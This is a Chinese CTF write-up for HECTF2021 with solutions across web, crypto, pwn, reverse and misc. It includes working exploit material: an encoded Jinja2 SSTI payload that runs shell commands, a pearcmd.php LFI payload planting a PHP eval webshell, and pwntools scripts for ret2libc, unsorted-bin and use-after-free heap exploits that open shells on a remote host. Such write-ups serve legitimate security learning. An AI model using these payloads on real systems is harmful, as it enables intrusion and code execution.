HECTF2021
干了两天,很多题目都挺有意思的,个人觉得很有收获。
WEB
mmmmd5d5d5d5
?a[]=1&b[]=2
本地使用脚本进行爆破
输入特殊字符进行绕过
经典的md5碰撞
获得flag
EDGnb(签到)
根据题目提示的docker名称,搜索dockerhub
找到输入flag的命令,成功获取到flag
时光塔的宝藏
发现存在sql注入,使用sqlmap进行注入
逐步获取hint
提示flag在网站根目录下,使用sqlmap读取系统文件的信息
成功获取flag
ezpy
查看源码发现页面
发现SSTI的黑名单
使用十六进制编码和unicode编码进行绕过
{%print(a|attr(%27\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f%27)|attr(%27\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%27)|attr(%27\u0067\u0065\u0074%27)(%27\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f%27)|attr(%27\u0067\u0065\u0074%27)(%27\u0065\u0076\u0061\u006c%27)(%27\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x6c\x73\x20\x2f\x22\x29\x2e\x72\x65\x61\x64\x28\x29%27))%}
发现f1ag.txt文件
执行发现flag
{%print(a|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u0067\u0065\u0074')('\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')|attr('\u0067\u0065\u0074')('\u0065\u0076\u0061\u006c')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x66\x31\x61\x67\x2e\x74\x78\x74\x22\x29\x2e\x72\x65\x61\x64\x28\x29'))%}
LFI-To-RCE
P牛的新发掘的漏洞,在湖湘也出现这个考点了
index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0])?>+/tmp/he2o.php
Crypto
签到
佛曰解密
base64、base32 依次解密
成功获取到flag
RSA_e_n
维纳攻击
#RSAwienerAttack.py
import ContinuedFractions, Arithmetic
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("\nHacked!")
return d
def main():
#e=354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
e = int(0x14b367bf01efd4dc667b8e62975479c612c96e78f7f1f55242b2973c882ddcb33a65c52174d8ae1273764ce429054ea3f2fdc38ff205443c92ef4198739f05aa11fc10d3fc6ff30c8f5f05a04f43e3d8fc9bfffe916b2e0360560a162729e91b7775bda70177e0f875626e0a81bd4eacea9948b02232a82659f8d9aa9b4c754f)
#n=460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
n = int(0x75be564267f8bf6c2038dd0cadfeecbc3158acfc27e679dd0bdb0db0e90bd5198a0a7edc0626f357a2d75f3c37ede045b7f7ca6bda79e5bf6fc0aea0aa7beda587388599d2b77b538fc3e666784493ffaf731e2ae232e8e9e9f9f2a4df25c19b7680f5bf6c485bd87923f01c17d8ec35438772c28e361774e6e7681d67ecbe19)
print "e="
print e
print "n="
print n
d=hack_RSA(e,n)
print "d="
print d
if __name__ == '__main__':
main()
把d跑出来之后
import binascii
# !/usr/bin/python
# coding:utf-8
from Crypto.Util.number import long_to_bytes
n = int(0x75be564267f8bf6c2038dd0cadfeecbc3158acfc27e679dd0bdb0db0e90bd5198a0a7edc0626f357a2d75f3c37ede045b7f7ca6bda79e5bf6fc0aea0aa7beda587388599d2b77b538fc3e666784493ffaf731e2ae232e8e9e9f9f2a4df25c19b7680f5bf6c485bd87923f01c17d8ec35438772c28e361774e6e7681d67ecbe19)
e = int(0x14b367bf01efd4dc667b8e62975479c612c96e78f7f1f55242b2973c882ddcb33a65c52174d8ae1273764ce429054ea3f2fdc38ff205443c92ef4198739f05aa11fc10d3fc6ff30c8f5f05a04f43e3d8fc9bfffe916b2e0360560a162729e91b7775bda70177e0f875626e0a81bd4eacea9948b02232a82659f8d9aa9b4c754f)
c = 10127659956533419108589656976567211166527205183773088147543122705230809548550336271584049969380709512046523116316965506372940655242616078713681678662841367955124154879878984026023241163358487655249424233120021240245459984899558747887087199609289148343740081670749999484769650710161617077523656215330005636913
#m=pow(c,e,n)
d = 105446909057629013379692394355251350740773777593653963988108428818399001716079
m=pow(c,d,n)
print (m)
print (long_to_bytes(m))
m = binascii.unhexlify(hex(m)[2:])
# HECTF{RSA_LLL_1s_s0_usefu1!!!}
encode
你好呀,送你串字符吧:ɯlxɹƃluʌ‾ʌdɹo‾ɟlq‾lʍ : dǝʇs ʇsɐl
将字符进行水平垂直翻转
根据提示知道是atbash密码,利用解码网站
Tool
属于维吉尼亚密码,使用在线工具进行解密
拼接获取flag
pwn
签到
直接nc连接为乱码,将数据保存为txt文本,使用十六进制查看器进行查看
使用hex转字符进行转换
getshell
格式化字符串漏洞
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux','new-window']
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn')
else:
p = remote(ip,port)
#gdb.attach(p,"b *0x4009ED")
p.sendlineafter(">","1")
payload = "a"*24+p64(0x400a83)+p64(0x601038)+p64(0x400650)+p64(0x4007A7)
p.sendlineafter("here.\n",payload)
libc_addr = u64(p.recv(6).ljust(8,"\x00")) - (0x7f30254da350 - 0x00007f30253e3000)
system_addr = libc_addr + (0x7f30254283a0 - 0x00007f30253e3000)
binsh_addr = libc_addr + (0x7f302556fe57 - 0x00007f30253e3000)
print "libc_addr = ",hex(libc_addr)
p.sendlineafter(">","1")
payload = "a"*24+p64(0x400a83)+p64(binsh_addr)+p64(system_addr)+p64(0x4007A7)
p.sendlineafter("here.\n",payload)
p.interactive()
if __name__ == '__main__':
pwn('123.56.242.200',10006,0)
fatty
unsorted bin attack实现任意地址写大数值
然后根据代码逻辑,条件符合即可跳转到后门函数
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux','new-window']
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./fatty')
else:
p = remote(ip,port)
p.sendlineafter("choice >>\n",'1')
p.sendlineafter(">>","20")
p.sendlineafter("choice >>\n",'5')
p.sendlineafter("choice >>\n",'2')
p.sendlineafter("choice >>\n",'3')
p.sendlineafter("complaint\n",p64(0)+p64(0x4040AC-0x10))
p.sendlineafter("choice >>\n",'1')
p.sendlineafter(">>","20")
p.sendlineafter("choice >>\n",'2')
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn('123.56.242.200',10002,0)
flexible
UAF堆溢出
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux','new-window']
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./flexible')
else:
p = remote(ip,port)
def add(index,size,name,content):
p.sendlineafter("choice >>","1")
p.sendlineafter("index >>",str(index))
p.sendlineafter("size >>",str(size))
p.sendlineafter(" name >>",name)
p.sendlineafter("context >>",content)
def edit(index,content):
p.sendlineafter("choice >>","2")
p.sendlineafter("index >",str(index))
p.sendlineafter("context >>",content)
def free(index):
p.sendlineafter("choice >>","3")
p.sendlineafter("index >",str(index))
def show(index):
p.sendlineafter("choice >>","4")
p.sendlineafter("index >",str(index))
add(0,0x100,"sta",'aaa')#0
add(1,0x50,"aa","aa")
free(0)
show(0)
p.recvuntil("name : ")
libcbase_addr = u64(p.recv(6).ljust(8,"\x00")) - (0x7fda633e3b78 - 0x00007fda6301f000)
malloc_hook = libcbase_addr + ( 0x7fda633e3b10 - 0x00007fda6301f000)
one_gagedt = libcbase_addr + 0xf1247
print "libcbase_addr = ",hex(libcbase_addr)
add(0,0x100,"sta",'aaa')#0
free(1)
edit(1,p64(malloc_hook - 0x23))
add(2,0x50,"aa",'aa')
add(3,0x50,"aa",'aaaabaaacaaadaaaeaaafaaagaaaha')
edit(3,"a"*19+p64(one_gagedt))
p.sendlineafter("choice >>","1")
p.sendlineafter("index >>","4")
p.sendlineafter("size >>","256")
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn('123.56.242.200',10004,0)
Reverse
hard
汇编视图发现flag
Baby_upx
UPX脱壳后分析代码,编写脚本:
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned char data[] = { 0x17,0x2B,0x2A,0x7D,0x1A,0x21,0x2A,0x07,0x7D,0x19,0x10,0x10,0x15,0x1E,0x0B,0x04,0x29,0x24,0x04,0x00 };
char* start = "HECTF{";
for (int i = 0; i < 20; i++)
printf("%c", start[(i ^ (rand() + 10086)) % 5] ^ data[i]);
return 0;
}
Baby_and
下载下来文件之后,发现是Jd-jui文件,使用Android-killer进行工具分析
发现隐藏了jpg图片,直接把apk转换成zip进行解压缩
发现图片,使用16进制查看器进行查看
发现图片进行了异或,撰写脚本
#coding:utf-8
kkey = "q7Z2"
with open("JFIF.jpg",'rb') as f:
res = f.read()
with open("flag.jpg","wb+") as ff:
for i in range(0,len(res)):
ff.write(chr(ord(res[i])^ ord(kkey[i%4])))
MISC
快来公众号ya
JamesHarden
下载下来是.class文件,直接jdjui反编译一下
发现是凯撒密码,在线解密一下
捉迷藏
将word文档修改为zip格式,查看document.xml文件
发现jsfuck编码,拼接一下payload,在console台执行一下
迷途的狗狗
获取到zip包,进行爆破
binwalk查看,发现隐藏图片,分离获取flag
问卷调查
snake
python生成的exe软件,使用脚本进行反编译
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.8 (default, Apr 13 2021, 15:08:03) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: snake.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import pygame, sys, random
SCREEN_X = 700
SCREEN_Y = 700
class Snake(object):
def __init__(self):
self.dirction = pygame.K_RIGHT
self.body = []
for x in range(5):
self.addnode()
def addnode(self):
left, top = (0, 0)
if self.body:
left, top = self.body[0].left, self.body[0].top
else:
node = pygame.Rect(left, top, 20, 20)
if self.dirction == pygame.K_LEFT:
node.left -= 20
else:
if self.dirction == pygame.K_RIGHT:
node.left += 20
else:
if self.dirction == pygame.K_UP:
node.top -= 20
else:
if self.dirction == pygame.K_DOWN:
node.top += 20
self.body.insert(0, node)
def delnode(self):
self.body.pop()
def isdead(self):
if self.body[0].x not in range(SCREEN_X):
return True
if self.body[0].y not in range(SCREEN_Y):
return True
if self.body[0] in self.body[1:]:
return True
return False
def move(self):
self.addnode()
self.delnode()
def changedirection(self, curkey):
LR = [
pygame.K_LEFT, pygame.K_RIGHT]
UD = [pygame.K_UP, pygame.K_DOWN]
if curkey in LR + UD:
if curkey in LR:
if self.dirction in LR:
return
if curkey in UD:
if self.dirction in UD:
return
self.dirction = curkey
class Food:
def __init__(self):
self.rect = pygame.Rect(-20, 0, 20, 20)
def remove(self):
self.rect.x = -20
def set(self):
if self.rect.x == -20:
allpos = [
(220, 620), (140, 580), (380, 280), (320, 260), (440, 500), (320, 100), (420, 240), (380, 260), (160, 280), (480, 460), (340, 260), (420, 580), (140, 460), (180, 380), (60, 160), (200, 100), (320, 620), (120, 540), (360, 480), (420, 460), (100, 40), (280, 100), (60, 60), (100, 480), (20, 60), (100, 80), (500, 320), (300, 500), (60, 320), (560, 220), (400, 100), (360, 20), (460, 380), (100, 400), (100, 500), (400, 60), (520, 320), (160, 60), (480, 440), (360, 600), (140, 540), (520, 220), (500, 220), (80, 60), (520, 280), (260, 60), (320, 320), (320, 240), (460, 280), (580, 20), (140, 80), (40, 240), (420, 420), (100, 440), (180, 60), (140, 420), (220, 400), (440, 300), (240, 380), (420, 480), (360, 260), (460, 320), (160, 100), (260, 80), (520, 40), (200, 260), (360, 580), (100, 380), (80, 620), (360, 620), (340, 440), (200, 60), (200, 300), (20, 500), (400, 20), (120, 620), (540, 220), (240, 420), (320, 200), (60, 300), (260, 320), (300, 580), (160, 480), (140, 200), (100, 420), (420, 20), (360, 500), (240, 500), (140, 620), (260, 620), (100, 100), (540, 60), (420, 380), (240, 400), (60, 180), (480, 380), (40, 500), (560, 320), (320, 280), (260, 280), (160, 540), (300, 440), (60, 200), (560, 280), (240, 260), (200, 280), (180, 500), (100, 20), (540, 20), (320, 300), (80, 600), (380, 200), (20, 40), (440, 580), (580, 60), (420, 400), (140, 60), (120, 440), (520, 20), (260, 40), (320, 220), (360, 560), (100, 460), (200, 20), (80, 520), (60, 500), (300, 600), (520, 60), (420, 260), (260, 260), (140, 100), (380, 240), (160, 300), (500, 260), (400, 540), (560, 60), (480, 400), (380, 320), (400, 80), (580, 500), (240, 480), (160, 600), (440, 380), (540, 280), (160, 620), (380, 20), (460, 440), (400, 620), (400, 40), (300, 480), (420, 560), (20, 20), (500, 280), (300, 100), (60, 280), (360, 200), (240, 460), (520, 100), (340, 200), (500, 300), (440, 20), (420, 300), (240, 620), (140, 20), (300, 20), (420, 280), (20, 80), (220, 500), (320, 20), (60, 260), (300, 460), (200, 320), (520, 80), (140, 40), (420, 440), (60, 220), (480, 480), (180, 20), (180, 100), (320, 440), (160, 580), (80, 560), (360, 460), (100, 60), (120, 580), (420, 320), (560, 20), (300, 620), (40, 60), (360, 440), (420, 500), (60, 240), (100, 240), (240, 440), (260, 300), (260, 500), (120, 260), (140, 320), (480, 500), (20, 100), (500, 240), (120, 560), (380, 300), (80, 580), (420, 600), (140, 260), (80, 140), (300, 560), (120, 200), (220, 260), (160, 400), (280, 20), (160, 20), (100, 220), (540, 500), (380, 220), (460, 500), (560, 500), (120, 320), (540, 320), (80, 340), (340, 620)]
random.shuffle(allpos)
self.rect.left, self.rect.top = random.choice(allpos)
def show_text(screen, pos, text, color, font_bold=False, font_size=30, font_italic=False):
cur_font = pygame.font.SysFont('宋体', font_size)
cur_font.set_bold(font_bold)
cur_font.set_italic(font_italic)
text_fmt = cur_font.render(text, 1, color)
screen.blit(text_fmt, pos)
def main():
pygame.init()
screen_size = (SCREEN_X, SCREEN_Y)
screen = pygame.display.set_mode(screen_size)
pygame.display.set_caption('Welcome to HECTF,enjoy!')
clock = pygame.time.Clock()
scores = 0
isdead = False
snake = Snake()
food = Food()
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.exit()
if event.type == pygame.KEYDOWN:
snake.changedirection(event.key)
if event.key == pygame.K_SPACE and isdead:
return main()
screen.fill((205, 205, 205))
if not isdead:
snake.move()
for rect in snake.body:
pygame.draw.rect(screen, (0, 220, 0), rect, 0)
isdead = snake.isdead()
if isdead:
show_text(screen, (100, 200), 'You lose :(', (227, 29, 18), False, 100)
show_text(screen, (150, 260), 'press SAPCE to try again...', (0, 0, 22), False, 30)
if food.rect == snake.body[0]:
scores += 100
food.remove()
snake.addnode()
food.set()
pygame.draw.rect(screen, (136, 0, 21), food.rect, 0)
show_text(screen, (50, 600), 'Scores: ' + str(scores), (223, 0, 0))
if scores > 400:
show_text(screen, (100, 650), 'f', (223, 223, 0))
if scores > 500:
show_text(screen, (110, 650), 'l', (223, 223, 0))
if scores > 600:
show_text(screen, (120, 650), 'a', (223, 223, 0))
if scores > 700:
show_text(screen, (130, 650), 'g', (223, 223, 0))
if scores > 800:
show_text(screen, (150, 650), 'i', (223, 223, 0))
if scores > 900:
show_text(screen, (160, 650), 's', (223, 223, 0))
show_text(screen, (450, 650), 'Try to get 6000 points', (223, 223, 223))
if scores >= 6000:
show_text(screen, (100, 670), 'wtf,you really got 6000 points?check the source code', (223,
223,
223))
show_text(screen, (100, 470), 'the original author is codetask from', (223,
223,
223))
show_text(screen, (100, 490), 'https://gitee.com/codetimer,thanks to him', (223,
223,
223))
pygame.display.update()
clock.tick(10)
if __name__ == '__main__':
main()
# okay decompiling snake.pyc
根据坐标,撰写脚本
from PIL import Image
MAX = 700
pic = Image.new("RGB",(800, 800))
list= '220,620,140,580,380,280,320,260,440,500,320,100,420,240,380,260,160,280,480,460,340,260,420,580,140,460,180,380,60,160,200,100,320,620,120,540,360,480,420,460,100,40,280,100,60,60,100,480,20,60,100,80,500,320,300,500,60,320,560,220,400,100,360,20,460,380,100,400,100,500,400,60,520,320,160,60,480,440,360,600,140,540,520,220,500,220,80,60,520,280,260,60,320,320,320,240,460,280,580,20,140,80,40,240,420,420,100,440,180,60,140,420,220,400,440,300,240,380,420,480,360,260,460,320,160,100,260,80,520,40,200,260,360,580,100,380,80,620,360,620,340,440,200,60,200,300,20,500,400,20,120,620,540,220,240,420,320,200,60,300,260,320,300,580,160,480,140,200,100,420,420,20,360,500,240,500,140,620,260,620,100,100,540,60,420,380,240,400,60,180,480,380,40,500,560,320,320,280,260,280,160,540,300,440,60,200,560,280,240,260,200,280,180,500,100,20,540,20,320,300,80,600,380,200,20,40,440,580,580,60,420,400,140,60,120,440,520,20,260,40,320,220,360,560,100,460,200,20,80,520,60,500,300,600,520,60,420,260,260,260,140,100,380,240,160,300,500,260,400,540,560,60,480,400,380,320,400,80,580,500,240,480,160,600,440,380,540,280,160,620,380,20,460,440,400,620,400,40,300,480,420,560,20,20,500,280,300,100,60,280,360,200,240,460,520,100,340,200,500,300,440,20,420,300,240,620,140,20,300,20,420,280,20,80,220,500,320,20,60,260,300,460,200,320,520,80,140,40,420,440,60,220,480,480,180,20,180,100,320,440,160,580,80,560,360,460,100,60,120,580,420,320,560,20,300,620,40,60,360,440,420,500,60,240,100,240,240,440,260,300,260,500,120,260,140,320,480,500,20,100,500,240,120,560,380,300,80,580,420,600,140,260,80,140,300,560,120,200,220,260,160,400,280,20,160,20,100,220,540,500,380,220,460,500,560,500,120,320,540,320,80,340,340,620'.split(',')
print(len(list))
for i in range(0,len(list)-1,2):
pic.putpixel([int(list[i]),int(list[i+1])],(255,255,255))
#pic.putpixel([220,620],(255,255,255))
pic.show()
pic.save("flag.png")